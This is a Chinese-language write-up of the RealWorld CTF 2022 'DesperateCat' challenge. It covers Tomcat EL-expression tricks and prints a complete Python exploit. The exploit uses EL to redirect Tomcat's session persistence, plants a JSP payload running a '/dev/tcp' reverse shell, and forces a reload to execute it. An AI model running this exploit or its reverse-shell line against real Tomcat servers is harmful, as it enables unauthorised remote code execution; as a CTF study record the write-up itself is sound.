RWCTF2022_DesperateCat复现

RWCTF2022_DesperateCat复现

摘要:RealWorld CTF 2022 DesperateCat复现。学习了一些tricks,记录下。

0x01复现过程

1、放在前面

@voidfyoo师傅在解决这个问题的过程中主要顺着以下思路走:

1、可以上传任意文件,但由于构造JSP Webshell的关键字符被过滤因此无法直接上传可以利用的JSP Webshell

2、EL表达式特性+Tomcat Session持久化

​ a. 通过EL表达式能够修改Tomcat相关配置,这里可以修改Session文件的位置实现任意位置写入JSP马绕过过滤限制

​ b. Tomcat Session持久化机制会在Tomcat关闭时将未到期的用户Session写入到本地文件中

3、找到方法在不重启Tomcat的情况下触发Session持久化并写入Webshell

2、具体复现

1、能拿到一个war包,直接拖到JD-GUI中进行反编译

就一个/export路由

2、先审计各功能类:

StringUtil类用于对字符串做替换完成过滤以及生成作文件名用的UUID,有以下核心几个方法:

1
2
3
public static String randomStr()
public static String replace(String s, String oldSub, String newSub)
public static String replace(String s, String[] oldSubs, String[] newSubs)

ParamUtil类用于对用户参数做过滤处理内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13

public class ParamUtil {
private static final String[] SPECIAL_CHARS = new String[] { "&", "<", "'", ">", "\"", "(", ")" };

private static final String[] REPLACE_CHARS = new String[] { "&amp;", "&lt;", "&#39;", "&gt;", "&quot;", "&#40;", "&#41;" };

public static String getParameter(HttpServletRequest request, String name) {
String val = request.getParameter(name);
if (StringUtil.isEmpty(val))
return "";
return StringUtil.replace(val.trim(), SPECIAL_CHARS, REPLACE_CHARS);
}
}

可见对jsp马中的关键字符尖角括号<和圆括号(都做了过滤。

3、再往后自己没能力做下去了,直接用了voidfyoo师傅的反弹Shell脚本打了下,并对原脚本做了些注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
import sys
import time
import requests

PROXIES = None

if __name__ == '__main__':
target_url = sys.argv[1] # e.g. http://47.243.235.228:39465/
reverse_shell_host = sys.argv[2]
reverse_shell_port = sys.argv[3]

el_payload =r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>"""
# step1:先把shell写入
r = requests.post(url=f'{target_url}/export',
data={
'dir': '',
'filename': 'a.jsp',
'content': el_payload,
},
proxies=PROXIES)
shell_path = r.text.strip().split('/')[-1]
shell_url = f'{target_url}/export/{shell_path}'
# step2:而后访问shell触发el表达式完成:
# 1、session路径的修改:${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a} r2实现
# 2、向session里写入反弹shell命令:${sessionScope[param.b]=param.c} r2实现
# 通过让部署的程序reload来实现Session持久化:
# 3、将context的 reloadable配置为true:${pageContext.servletContext.classLoader.resources.context.reloadable=true} r2实现
# 4、往/WEB-INF/lib目录下写入任意jar后缀名的文件 r3实现
# 通过3、4让程序reload
# 5、将appBase映射到更目录下,
# 避免因为应用因为之前写入的jar不合法而导致reload失败:
# ${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d} r2实现
r2 = requests.post(url=shell_url,
data={
'a': '/tmp/session.jsp',
'b': 'voidfyoo',
'c': reverse_shell_jsp_payload,
'd': '/',
},
proxies=PROXIES)
r3 = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/lib/',
'filename': 'a.jar',
'content': 'a',
},
proxies=PROXIES)
time.sleep(10) # wait a while
r4 = requests.get(url=f'{target_url}/tmp/session.jsp', proxies=PROXIES)

0x02 通过本题学到的

1、EL表达式

什么是EL表达式

EL(Expression Language)提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。具有以下的功能:

  • 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
  • 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}
  • 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据,这篇文章中对这些隐式对象有总结;
  • 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。比如这样写一个JSP一句话:${Runtime.getRuntime().exec(param.cmd)}

语法

EL表达式的语法为${ expression }

存/取值

[]运算:普适的做法,支持动态取值(如${sessionScope.user[data]}data是一个变量名)和包含特殊字符的属性名(如${user["My-Name"]},不能写成${user.My-Name}

.运算:可以用来存取值但是不支持动态取值和包含特殊字符的属性名

变量

${ 变量名 }表示从某一范围取出对应变量名的变量值。范围如下:

属性范围在EL中的名称
Page PageScope
Request RequestScope
Session SessionScope
Application ApplicationScope

若指定范围,仅在该范围内查找,找不到就返回空字符串:””;

若不指定范围按照上表格从上到下的顺序查找,找到后直接返回,找不熬返回空字符串。

EL表达式中可以使用以下变量类型:

文字 文字的值
Boolean true 和 false
Integer 与 Java 类似。可以包含任何整数,例如 24、-45、567
Floating Point 与 Java 类似。可以包含任何正的或负的浮点数,例如 -1.8E-45、4.567
String 任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠,使用反斜杠字符作为转义序列。必须注意,如果在字符串两端使用双引号,则单引号不需要转义。
Null null
操作符
术语 定义
算术型 +、-(二元)、*、/、div、%、mod、-(一元)
逻辑型 and、&&、or、双管道符、!、not
关系型 ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型 A ?B :C。根据 A 赋值的结果来赋值 B 或 C。
隐式对象

通过隐式对象可以方便地对JSP页面的上下文、Web上下文、会话、请求参数、页面等对象的参数进行访问

术语 定义
pageContext JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response}为页面的响应对象赋值。
术语 定义
param 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param . name}相当于 request.getParameter (name)。
paramValues 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name)。
header 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header. name} 相当于 request.getHeader(name)。
headerValues 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues. name}相当于 request.getHeaderValues(name)。
cookie 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie. name .value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues. name}表达式。
initParam 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。
术语 定义
pageScope 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName}访问对象的属性。
requestScope 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName}访问对象的属性。
sessionScope 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name}
applicationScope 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。
EL表达式调用函数和方法

语法:

1
${ns:func(param1, param2, ...)}

ns为命名空间,func是调用的函数

使用方式:

  • 服务器上需要安装有对应函数的库
  • 需要在JSP文件的开头shiyong<taglib>标签指定以包含这些库

可以参考先知这篇文章的这一节

2、Tricks 1:不重启Tomcat情况下利用Session持久化机制

@voidfyoo师傅在翻看Tomcat文档时发现通过程序reload能够实现该点,而该点又可以通过翻看Tomcat源码找到reload的需要满足的两个条件:

  • Context reloadable 配置为 true
  • /WEB-INF/classes/ 或者 /WEB-INF/lib/ 目录下的文件发生变化

第一点可以通过EL表达式实现:

1
${pageContext.servletContext.classLoader.resources.context.reloadable=true}

第二点由于可以任意写入文件所以可以轻松在lib目录下写入jar文件解决,这个jar文件内容可以是非法的不会影响reload。

3、Tricks 2:通过修改Tomcat appBase目录映射整个Linux根目录

由于Tricks1中写入的jar包不合法,因此会导致当前的Web应用崩溃从而无法访问到写入的Shell,@voidfyoo师傅想到的办法是直接修改appBase,其表示存放了所有webapp所在的目录,默认值是webapps,在将其修改为/后,整个系统盘都被映射到了Tomcat上从而实现资源的任意访问:

1
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}

4、其他思路

现场比赛中有两位选手使用了ASCII ZIP Jar的方式进行exploit,没弄明白这种攻击方式的原理,mark下先。


评论